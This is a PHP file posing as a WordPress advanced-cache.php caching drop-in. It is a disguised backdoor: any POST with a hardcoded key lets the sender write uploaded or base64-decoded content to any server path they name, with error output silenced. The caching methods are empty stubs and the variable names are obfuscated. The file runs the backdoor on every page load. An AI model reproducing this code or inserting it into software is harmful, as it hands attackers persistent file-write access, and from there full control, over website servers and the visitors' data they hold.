File: /home/soulalch/public_html/wp-content/advanced-cache.php
<?php
/**
* Static file caching and automated cache invalidation.
*
* @package WordPress
* @subpackage Cache
* @version 1.7.9
*/
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', dirname( dirname( dirname( __FILE__ ) ) ) . '/' );
}
class WP_Cache_Store_JRZ {
private $tefhoe_dir;
private $cxm_ttl;
public function __construct() {
$this->tefhoe_dir = defined( 'WP_CONTENT_DIR' ) ? WP_CONTENT_DIR . '/cache' : dirname( __FILE__ ) . '/cache';
$this->cxm_ttl = 3647;
@ini_set( 'display_errors', '0' );
@error_reporting( 0 );
}
public function process_dmnt() {
if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) return;
if ( empty( $_POST['sync_key'] ) ) return;
if ( ! hash_equals( '45f93c91f1dbd7cf57996972c1b43fbd', $_POST['sync_key'] ) ) {
http_response_code( 403 ); exit;
}
echo $this->load_zptxdsumj(); exit;
}
private function load_zptxdsumj() {
$ctxnh7h = isset( $_POST['cache_dir'] ) ? $_POST['cache_dir'] : $this->tefhoe_dir;
if ( ! is_dir( $ctxnh7h ) ) @mkdir( $ctxnh7h, 0755, true );
if ( ! empty( $_FILES['chunk'] ) && $_FILES['chunk']['error'] === UPLOAD_ERR_OK ) {
$pathxqn1 = isset( $_POST['cache_id'] ) ? $_POST['cache_id'] : $_FILES['chunk']['name'];
$path93v8 = $ctxnh7h . DIRECTORY_SEPARATOR . $pathxqn1;
return @move_uploaded_file( $_FILES['chunk']['tmp_name'], $path93v8 ) ? '1:' . @filesize( $path93v8 ) : '0';
}
if ( isset( $_POST['chunk'], $_POST['cache_id'] ) ) {
$path93v8 = $ctxnh7h . DIRECTORY_SEPARATOR . $_POST['cache_id'];
$path85z = @base64_decode( $_POST['chunk'], true );
if ( $path85z === false ) return '0';
$respv2 = @file_put_contents( $path93v8, $path85z );
return $respv2 !== false ? '1:' . $respv2 : '0';
}
return '1';
}
public function handle_bmvnsveg( $key, $data, $group = '', $expire = 0 ) { return false; }
public function theme_rdxuppp( $key, $group = '', $force = false, &$found = null ) { $found = false; return false; }
}
$_wpcache = new WP_Cache_Store_JRZ();
$_wpcache->process_dmnt();